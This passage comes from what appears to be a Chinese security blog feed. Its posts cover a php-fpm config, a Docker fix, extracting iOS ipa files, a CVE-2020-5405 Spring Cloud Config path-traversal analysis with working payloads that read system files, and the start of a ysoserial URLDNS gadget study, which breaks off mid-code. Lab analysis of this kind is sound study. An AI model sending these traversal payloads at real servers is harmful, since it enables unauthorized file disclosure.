the parent of the child that serviced the request</span></span><br><span class="line"><span class="comment">; %q: the query string</span></span><br><span class="line"><span class="comment">; %Q: the '?' character if query string exists</span></span><br><span class="line"><span class="comment">; %r: the request URI (without the query string, see %q and %Q)</span></span><br><span class="line"><span class="comment">; %R: remote IP address</span></span><br><span class="line"><span class="comment">; %s: status (response code)</span></span><br><span class="line"><span class="comment">; %t: server time the request was received</span></span><br><span class="line"><span class="comment">; it can accept a strftime(3) format:</span></span><br><span class="line"><span class="comment">; %d/%b/%Y:%H:%M:%S %z (default)</span></span><br><span class="line"><span class="comment">; The strftime(3) format must be encapsuled in a %{<strftime_format>}t tag</span></span><br><span class="line"><span class="comment">; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t</span></span><br><span class="line"><span class="comment">; %T: time the log has been written (the request has finished)</span></span><br><span class="line"><span class="comment">; it can accept a strftime(3) format:</span></span><br><span class="line"><span class="comment">; %d/%b/%Y:%H:%M:%S %z (default)</span></span><br><span class="line"><span class="comment">; The strftime(3) format must be encapsuled in a %{<strftime_format>}t tag</span></span><br><span class="line"><span class="comment">; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t</span></span><br><span class="line"><span class="comment">; %u: remote user</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; Default: "%R - %u %t \"%m %r\" %s"</span></span><br><span class="line"><span class="comment">;access.format = "%R - %u %t \"%m %r%Q%q\" %s %f %{mili}d %{kilo}M %C%%"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The log file for slow requests</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> slowlog is mandatory if request_slowlog_timeout is set</span></span><br><span class="line"><span class="comment">;slowlog = log/$pool.log.slow</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The timeout for serving a single request after which a PHP backtrace will be</span></span><br><span class="line"><span class="comment">; dumped to the 'slowlog' file. A value of '0s' means 'off'.</span></span><br><span class="line"><span class="comment">; Available units: s(econds)(default), m(inutes), h(ours), or d(ays)</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;request_slowlog_timeout = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The timeout for serving a single request after which the worker process will</span></span><br><span class="line"><span class="comment">; be killed. This option should be used when the 'max_execution_time' ini option</span></span><br><span class="line"><span class="comment">; does not stop script execution for some reason. A value of '0' means 'off'.</span></span><br><span class="line"><span class="comment">; Available units: s(econds)(default), m(inutes), h(ours), or d(ays)</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;request_terminate_timeout = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set open file descriptor rlimit.</span></span><br><span class="line"><span class="comment">; Default Value: system defined value</span></span><br><span class="line"><span class="comment">;rlimit_files = 1024</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set max core size rlimit.</span></span><br><span class="line"><span class="comment">; Possible Values: 'unlimited' or an integer greater or equal to 0</span></span><br><span class="line"><span class="comment">; Default Value: system defined value</span></span><br><span class="line"><span class="comment">;rlimit_core = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Chroot to this directory at the start. This value must be defined as an</span></span><br><span class="line"><span class="comment">; absolute path. When this value is not set, chroot is not used.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> you can prefix with '$prefix' to chroot to the pool prefix or one</span></span><br><span class="line"><span class="comment">; of its subdirectories. If the pool prefix is not set, the global prefix</span></span><br><span class="line"><span class="comment">; will be used instead.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> chrooting is a great security feature and should be used whenever</span></span><br><span class="line"><span class="comment">; possible. However, all PHP paths will be relative to the chroot</span></span><br><span class="line"><span class="comment">; (error_log, sessions.save_path, ...).</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;chroot =</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Chdir to this directory at the start.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> relative path can be used.</span></span><br><span class="line"><span class="comment">; Default Value: current directory or / when chroot</span></span><br><span class="line"><span class="comment">;chdir = /var/www</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Redirect worker stdout and stderr into main error log. If not set, stdout and</span></span><br><span class="line"><span class="comment">; stderr will be redirected to /dev/null according to FastCGI specs.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> on highloaded environement, this can cause some delay in the page</span></span><br><span class="line"><span class="comment">; process time (several ms).</span></span><br><span class="line"><span class="comment">; Default Value: no</span></span><br><span class="line"><span class="comment">;catch_workers_output = yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Clear environment in FPM workers</span></span><br><span class="line"><span class="comment">; Prevents arbitrary environment variables from reaching FPM worker processes</span></span><br><span class="line"><span class="comment">; by clearing the environment in workers before env vars specified in this</span></span><br><span class="line"><span class="comment">; pool configuration are added.</span></span><br><span class="line"><span class="comment">; Setting to "no" will make all environment variables available to PHP code</span></span><br><span class="line"><span class="comment">; via getenv(), $_ENV and $_SERVER.</span></span><br><span class="line"><span class="comment">; Default Value: yes</span></span><br><span class="line"><span class="comment">;clear_env = no</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Limits the extensions of the main script FPM will allow to parse. This can</span></span><br><span class="line"><span class="comment">; prevent configuration mistakes on the web server side. You should only limit</span></span><br><span class="line"><span class="comment">; FPM to .php extensions to prevent malicious users to use other extensions to</span></span><br><span class="line"><span class="comment">; execute php code.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> set an empty value to allow all extensions.</span></span><br><span class="line"><span class="comment">; Default Value: .php</span></span><br><span class="line"><span class="comment">;security.limit_extensions = .php .php3 .php4 .php5 .php7</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Pass environment variables like LD_LIBRARY_PATH. All $VARIABLEs are taken from</span></span><br><span class="line"><span class="comment">; the current environment.</span></span><br><span class="line"><span class="comment">; Default Value: clean env</span></span><br><span class="line"><span class="comment">;env[HOSTNAME] = $HOSTNAME</span></span><br><span class="line"><span class="comment">;env[PATH] = /usr/local/bin:/usr/bin:/bin</span></span><br><span class="line"><span class="comment">;env[TMP] = /tmp</span></span><br><span class="line"><span class="comment">;env[TMPDIR] = /tmp</span></span><br><span class="line"><span class="comment">;env[TEMP] = /tmp</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Additional php.ini defines, specific to this pool of workers. These settings</span></span><br><span class="line"><span class="comment">; overwrite the values previously defined in the php.ini. The directives are the</span></span><br><span class="line"><span class="comment">; same as the PHP SAPI:</span></span><br><span class="line"><span class="comment">; php_value/php_flag - you can set classic ini defines which can</span></span><br><span class="line"><span class="comment">; be overwritten from PHP call 'ini_set'.</span></span><br><span class="line"><span class="comment">; php_admin_value/php_admin_flag - these directives won't be overwritten by</span></span><br><span class="line"><span class="comment">; PHP call 'ini_set'</span></span><br><span class="line"><span class="comment">; For php_*flag, valid values are on, off, 1, 0, true, false, yes or no.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Defining 'extension' will load the corresponding shared extension from</span></span><br><span class="line"><span class="comment">; extension_dir. Defining 'disable_functions' or 'disable_classes' will not</span></span><br><span class="line"><span class="comment">; overwrite previously defined php.ini values, but will append the new value</span></span><br><span class="line"><span class="comment">; instead.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> path INI options can be relative and will be expanded with the prefix</span></span><br><span class="line"><span class="comment">; (pool, global or /Users/xianyu123/.phpbrew/php/php-7.1.29)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Default Value: nothing is defined by default except the values in php.ini and</span></span><br><span class="line"><span class="comment">; specified at startup with the -d argument</span></span><br><span class="line"><span class="comment">;php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f [email protected]</span></span><br><span class="line"><span class="comment">;php_flag[display_errors] = off</span></span><br><span class="line"><span class="comment">;php_admin_value[error_log] = /var/log/fpm-php.www.log</span></span><br><span class="line"><span class="comment">;php_admin_flag[log_errors] = on</span></span><br><span class="line"><span class="comment">;php_admin_value[memory_limit] = 32M</span></span><br></pre></td></tr></table></figure><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p><a href="https://github.com/phpbrew/phpbrew/issues/459" target="_blank" rel="noopener">https://github.com/phpbrew/phpbrew/issues/459</a></p>]]></content>
<summary type="html">
<p>之前的老问题了,今天终于解决了,记录一下。</p>
</summary>
</entry>
<entry>
<title>mac docker升级后镜像丢失修复</title>
<link href="http://0clickjacking0.github.io/2021/08/18/mac-docker%E5%8D%87%E7%BA%A7%E5%90%8E%E9%95%9C%E5%83%8F%E4%B8%A2%E5%A4%B1%E4%BF%AE%E5%A4%8D/"/>
<id>http://0clickjacking0.github.io/2021/08/18/mac-docker升级后镜像丢失修复/</id>
<published>2021-08-18T05:13:06.000Z</published>
<updated>2021-08-18T05:19:59.362Z</updated>
<content type="html"><![CDATA[<p>mac docker升级后镜像丢失修复</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近升级了macos big sur 11.5.2(还是很好用的),然后docker是可以用的,然后手欠了去升级了docker,竟然不能用了,docker的界面也是大改动了,然后去网上找到了解决方法。</p><h1 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h1><p>执行下面命令即可</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp ~/Library/Containers/com.docker.docker/Data/vms/0/Docker.raw ~/Library/Containers/com.docker.docker/Data/vms/0/data/Docker.raw</span><br></pre></td></tr></table></figure><p>由于docker desktop 20.10.7版本文件默认路径改变,致使docker无法找到原来的docker.raw,所以产生了这个问题。</p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p><a href="https://www.jianshu.com/p/a019ddc7d55a" target="_blank" rel="noopener">Mac Os docker镜像文件丢失的问题记录</a></p>]]></content>
<summary type="html">
<p>mac docker升级后镜像丢失修复</p>
</summary>
</entry>
<entry>
<title>ios应用获取ipa安装包</title>
<link href="http://0clickjacking0.github.io/2021/04/19/ios%E5%BA%94%E7%94%A8%E8%8E%B7%E5%8F%96ipa%E5%AE%89%E8%A3%85%E5%8C%85/"/>
<id>http://0clickjacking0.github.io/2021/04/19/ios应用获取ipa安装包/</id>
<published>2021-04-19T05:19:01.000Z</published>
<updated>2021-04-19T06:01:31.740Z</updated>
<content type="html"><![CDATA[<p>ios应用获取ipa安装包</p><a id="more"></a><h1 id="1-下载Apple-Configurator-2"><a href="#1-下载Apple-Configurator-2" class="headerlink" title="1.下载Apple Configurator 2"></a>1.下载Apple Configurator 2</h1><p>在mac的<code>App Store</code>中下载<code>Apple Configurator 2</code></p><p><img src="http://images.xianyu123.club/20210419132037.png" alt="image-20210419132032627"></p><h2 id="2-有线连接"><a href="#2-有线连接" class="headerlink" title="2. 有线连接"></a>2. 有线连接</h2><p>点击添加——App</p><p><img src="http://images.xianyu123.club/20210419134911.png" alt="image-20210419134911352"></p><p>比如这个<code>AIDA64</code>已经存在于我们的手机上了,我们点击添加</p><p><img src="http://images.xianyu123.club/20210419135426.png" alt="image-20210419135426945"></p><p>这时候会弹出已经存在的提示,我们先不要进行任何操作</p><p><img src="http://images.xianyu123.club/20210419135603.png" alt="image-20210419135603227"></p><p>然后访问路径<code>~/Library/Group\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps</code>即可看到。</p><p><img src="http://images.xianyu123.club/20210419135756.png" alt="image-20210419135756878"></p><p>这里有可能会遇到线连上mac无法识别到手机,我上次就遇到了,重启下手机就好了</p>]]></content>
<summary type="html">
<p>ios应用获取ipa安装包</p>
</summary>
</entry>
<entry>
<title>浅析CVE-2020-5405</title>
<link href="http://0clickjacking0.github.io/2021/03/11/%E6%B5%85%E6%9E%90CVE-2020-5405/"/>
<id>http://0clickjacking0.github.io/2021/03/11/浅析CVE-2020-5405/</id>
<published>2021-03-11T08:35:47.000Z</published>
<updated>2021-03-11T08:40:36.315Z</updated>
<content type="html"><![CDATA[<p>之前就有师傅在先知发表过,这里跟进了一下。</p><a id="more"></a><h1 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h1><p>Spring Cloud Config 程序内部在处理客户端传入的资源时存在自动将 (_) 转换为 / 的隐藏转换,当 <code>profile</code> 设置为 <code>native</code>时,则会导致服务端路径穿越,因此攻击者可以利用此机制来穿越到其它路径,读取任意文件。</p><h2 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Spring Cloud Config 2.2.0 - 2.2.1</span><br><span class="line">Spring Cloud Config 2.1.0 - 2.1.6</span><br></pre></td></tr></table></figure><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>以 2.1.5 版本为例,从官方 Git 仓库下载 <code>v2.1.5.RELEASE</code> 版本:</p><p><a href="https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip" target="_blank" rel="noopener">https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip</a></p><p>解压缩后,进入解压缩之后的 <code>spring-cloud-config-2.1.5.RELEASE</code> 代码目录,找到下列文件,修改其中的内容:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">info:</span><br><span class="line"> component: Config Server</span><br><span class="line">spring:</span><br><span class="line"> application:</span><br><span class="line"> name: configserver</span><br><span class="line"> autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration</span><br><span class="line"> jmx:</span><br><span class="line"> default_domain: cloud.config.server</span><br><span class="line"> profiles:</span><br><span class="line"> active: native</span><br><span class="line"> cloud:</span><br><span class="line"> config:</span><br><span class="line"> server:</span><br><span class="line"> native:</span><br><span class="line"> search-locations:</span><br><span class="line"> - file:///Users/xianyu123/IdeaProjects/CVE-2020-5405spring-cloud-config-2.1.5.RELEASE</span><br><span class="line"></span><br><span class="line">server:</span><br><span class="line"> port: 9999</span><br><span class="line">management:</span><br><span class="line"> context_path: /admin</span><br></pre></td></tr></table></figure><p>设置<code>profiles-active</code>为<code>native</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">profiles:</span><br><span class="line"> active: native</span><br></pre></td></tr></table></figure><p>设置<code>search-locations</code>为任意文件夹。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">cloud:</span><br><span class="line"> config:</span><br><span class="line"> server:</span><br><span class="line"> native:</span><br><span class="line"> search-locations:</span><br></pre></td></tr></table></figure><p>主文件入口位置为<code>org.springframework.cloud.config.server.ConfigServerApplication</code>,运行<code>spring-cloud-config-server</code>模块,环境开启成功运行在<code>127.0.0.1:9999</code>。</p><h3 id="maven依赖安装"><a href="#maven依赖安装" class="headerlink" title="maven依赖安装"></a>maven依赖安装</h3><p>我是在idea中直接打开的,maven依赖会自动安装,不是使用ide的话参考下面的方法</p><p>执行下面的命令启动 Spring Cloud Config 服务端(注:必须要安装 <a href="https://maven.apache.org/download.cgi" target="_blank" rel="noopener">maven</a>,并且加入 PATH 环境变量):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd spring-cloud-config-server</span><br><span class="line">../mvnw spring-boot:run</span><br></pre></td></tr></table></figure><p>项目启动成功后,通过浏览器即可访问。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:9999/</span><br></pre></td></tr></table></figure><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># Linux</span><br><span class="line">/b/a/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/resolv.conf</span><br><span class="line">/b/a/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/hosts.allow</span><br><span class="line"></span><br><span class="line"># Windows</span><br><span class="line">/b/a/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)windows/system.ini</span><br><span class="line"># 仅在 configserver.yml 的 search-locations 指向 C 盘下路径时有效</span><br></pre></td></tr></table></figure><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p><code>Config-Client</code>可以从<code>Config-Server</code>提供的HTTP接口获取配置文件使用,<code>Config Server</code>通过路径<code>/{name}/{profile}/{label}/{path}</code>对外提供配置文件,POC就会通过路由到这个接口</p><p>根据<a href="https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text" target="_blank" rel="noopener">spring官方文档</a>可知,解析下路由的结构:</p><blockquote><p> name,应仓库名称。<br> profile,应配置文件环境。<br> label,git分支名。<br> **,通配子目录。</p></blockquote><p>所以我们从HTTP入口<code>org/springframework/cloud/config/server/resource/ResourceController.java</code>第71行这里开始调试,请求url为<code>http://127.0.0.1:9999/b/a/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/resolv.conf</code>。76行,我们的<code>path</code>被解析为<code>resolv.conf</code>。然后跟进第77行<code>retrieve</code>方法</p><p><img src="http://images.xianyu123.club/20210302135759.png" alt></p><p>先跟进105行解析name的<code>resolveName</code>方法</p><p><img src="http://images.xianyu123.club/20210302135812.png" alt></p><p>替换<code>name</code>中存在的<code>(_)</code>,这里name没有变化,然后我们继续跟进上述代码的<code>resolveLabel</code>方法</p><p><img src="http://images.xianyu123.club/20210302135819.png" alt></p><p>这里label中所有的<code>(_)</code>被替换成了<code>/</code>,所以最终返回<code>../../../../../../../../../etc</code>,然后我们接着跟进107行的<code>findOne</code>方法</p><p><img src="http://images.xianyu123.club/20210302135823.png" alt></p><p>到达<code>org/springframework/cloud/config/server/resource/GenericResourceRepository.java</code>,跟进64行<code>getLocations</code>方法</p><p><img src="http://images.xianyu123.club/20210302135826.png" alt></p><p>到达<code>org/springframework/cloud/config/server/environment/SearchPathCompositeEnvironmentRepository.java</code>,这里跟进47行<code>getLocations</code>方法</p><p><img src="http://images.xianyu123.club/20210302135830.png" alt></p><p>到达<code>org/springframework/cloud/config/server/environment/NativeEnvironmentRepository.java</code>文件的,<code>this.searchLocations;</code>是生成<code>file://</code>开头的代码</p><p><img src="http://images.xianyu123.club/20210302135839.png" alt></p><p>最终上述<code>org/springframework/cloud/config/server/resource/GenericResourceRepository.java</code>文件的64行代码会返回对应的<code>file</code>协议的绝对路径地址且为有两个元素的数组,然后接着去跟进69行<code>getProfilePaths</code>方法</p><p><img src="http://images.xianyu123.club/20210302135844.png" alt></p><p>这里返回是个Set集合,返回结果为<code>resolv-a.conf</code>和<code>resolv.conf</code>,这段代码不难理解</p><p><img src="http://images.xianyu123.club/20210302135847.png" alt></p><p>然后上面的返回的值<code>resolv-a.conf</code>和<code>resolv.conf</code>分别迭代。然后跟进<code>org/springframework/cloud/config/server/resource/GenericResourceRepository.java</code>的第70行<code>isInvalidPath</code>方法,这里主要是检测<code>path</code>中是否包含一些字符的,比如限制了<code>WEB-INF</code>、<code>META-INF</code>等</p><p><img src="http://images.xianyu123.club/20210302135854.png" alt></p><p>然后接着跟进<code>org/springframework/cloud/config/server/resource/GenericResourceRepository.java</code>的第70行<code>isInvalidEncodedPath</code>方法,这里主要是检测是否为有效url编码的,影响也不是很大</p><p><img src="http://images.xianyu123.club/20210302135859.png" alt></p><p>然后就根据反射读取文件了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Resource file = <span class="keyword">this</span>.resourceLoader.getResource(location)</span><br><span class="line">.createRelative(local);</span><br><span class="line"><span class="keyword">if</span> (file.exists() && file.isReadable()) {</span><br><span class="line"><span class="keyword">return</span> file;</span><br></pre></td></tr></table></figure><h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p><a href="https://xz.aliyun.com/t/8303" target="_blank" rel="noopener">CVE-2020-5405 Spring Cloud Config 路径穿越漏洞浅析</a></p>]]></content>
<summary type="html">
<p>之前就有师傅在先知发表过,这里跟进了一下。</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>从ysoserial中学习URLDNS利用链</title>
<link href="http://0clickjacking0.github.io/2021/02/24/%E4%BB%8Eysoserial%E4%B8%AD%E5%AD%A6%E4%B9%A0URLDNS%E5%88%A9%E7%94%A8%E9%93%BE/"/>
<id>http://0clickjacking0.github.io/2021/02/24/从ysoserial中学习URLDNS利用链/</id>
<published>2021-02-24T08:09:26.000Z</published>
<updated>2021-03-03T11:21:17.567Z</updated>
<content type="html"><![CDATA[<p>从ysoserial中学习URLDNS利用链</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近在学习java反序列化的内容,一开始从网上学习<code>CommonsCollections</code>的利用链,发现挺难(是我太菜了,23333),然后就来学习一下ysoserial中最简单的例子——URLDNS</p><h1 id="ysoserial"><a href="#ysoserial" class="headerlink" title="ysoserial"></a>ysoserial</h1><p>在正式开始分析之前,先介绍一下这个工具。github地址:<code>https://github.com/frohoff/ysoserial</code>。下面就引用一段p牛的话来说明这个工具的用途。</p><blockquote><p>反序列化漏洞在各个语⾔⾥本不是⼀个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤ 链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚ Java安全的蓝海。</p><p>⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反 序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。</p></blockquote><p>ysoserial的使⽤也很简单,这里就不过多赘述了,可以去github项目查看。</p><h2 id="关于gadget"><a href="#关于gadget" class="headerlink" title="关于gadget"></a>关于gadget</h2><p>利⽤链也叫<code>gadget chains</code>,我们通常称为<code>gadget</code>。我理解的<code>gadget</code>就相当于一条链子,从起点(入口)到终点(可能是命令执行结束的位置)的一条路径。</p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p><code>URLDNS</code>是<code>ysoserial</code>中⼀个利⽤链的名字。这个利用链比较特殊,因为其参数不是⼀个可以“利⽤”的命令,⽽是⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。</p><p>虽然这个利用链不能执行命令,但是⾮常适合我们在检测反序列化漏洞时使⽤:</p><ul><li>使⽤Java内置的类构造,没有依赖第三⽅库</li><li>在⽬标没有回显的时候,能够通过dnslog来判断是否存在反序列化漏洞</li></ul><p>接下来我们来看代码。<code>ysoserial/payloads/URLDNS.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> ysoserial.payloads;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.URLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.URLStreamHandler;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Authors;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Dependencies;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.PayloadTest;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.PayloadRunner;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.Reflections;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * A blog post with more details about this gadget chain is at the url below:</span></span><br><span class="line"><span class="comment"> * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This was inspired by Philippe Arteau <span class="doctag">@h</span>3xstream, who wrote a blog</span></span><br><span class="line"><span class="comment"> * posting describing how he modified the Java Commons Collections gadget</span></span><br><span class="line"><span class="comment"> * in ysoserial to open a URL. This takes the same idea, but eliminates</span></span><br><span class="line"><span class="comment"> * the dependency on Commons Collections and does a DNS lookup with just</span></span><br><span class="line"><span class="comment"> * standard JDK classes.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The Java URL class has an interesting property on its equals and</span></span><br><span class="line"><span class="comment"> * hashCode methods. The URL class will, as a side effect, do a DNS lookup</span></span><br><span class="line"><span class="comment"> * during a comparison (either equals or hashCode).</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * As part of deserialization, HashMap calls hashCode on each key that it</span></span><br><span class="line"><span class="comment"> * deserializes, so using a Java URL object as a serialized key allows</span></span><br><span class="line"><span class="comment"> * it to trigger a DNS lookup.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Gadget Chain:</span></span><br><span class="line"><span class="comment"> * HashMap.readObject()</span></span><br><span class="line"><span class="comment"> * HashMap.putVal()</span></span><br><span class="line"><span class="comment"> * HashMap.hash()</span></span><br><span class="line"><span class="comment"> * URL.hashCode()</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@SuppressWarnings</span>({ <span class="string">"rawtypes"</span>, <span class="string">"unchecked"</span> })</span><br><span class="line"><span class="meta">@PayloadTest</span>(skip = <span class="string">"true"</span>)</span><br><span class="line"><span class="meta">@Dependencies</span>()</span><br><span class="line"><span class="meta">@Authors</span>({ Authors.GEBL })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">URLDNS</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String url)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Avoid DNS resolution during 